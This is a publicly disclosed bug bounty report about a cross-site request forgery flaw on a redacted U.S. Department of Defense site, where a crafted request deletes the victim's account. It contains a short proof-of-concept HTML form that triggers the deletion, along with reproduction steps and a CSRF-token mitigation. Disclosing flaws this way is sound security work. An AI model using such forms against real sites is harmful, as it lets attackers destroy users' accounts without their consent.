HexBrain

U.S. Dept Of Defense · Report #799855

CSRF - Delete Account (Urgent)

Validstatus
mediumseverity
13upvotes
18 Mar 2022disclosed

How it was found

Target Url https://██████████/███/██████/█████████

Summary: Hello, I found a Cross Site Request Forgery bug in the target endpoint on the GET request ████ which is critical because it can delete authenticated user account whenever he navigates to the attacker website or link.

Step-by-step Reproduction Instructions

  1. Navigate to your account in https://█████████/████/
  2. Copy and paste the below code in an html file
<html>
  <body>
    <form action="https://████/████/███/">
      <input type="hidden" name="action" value="delete&#95;profile" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
  1. Open it in the browser, hit the button and your account will be deactivated.

Suggested Mitigation/Remediation Actions

Add a csrf-token in the header or in an hidden input to check if the user that is doing this action authorized or not.

Impact

This action is critical and sensitive. Attacker can upload this file to a url. Sends it to the victims. And when the authenticated victims navigate to the url their accounts will be deleted.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original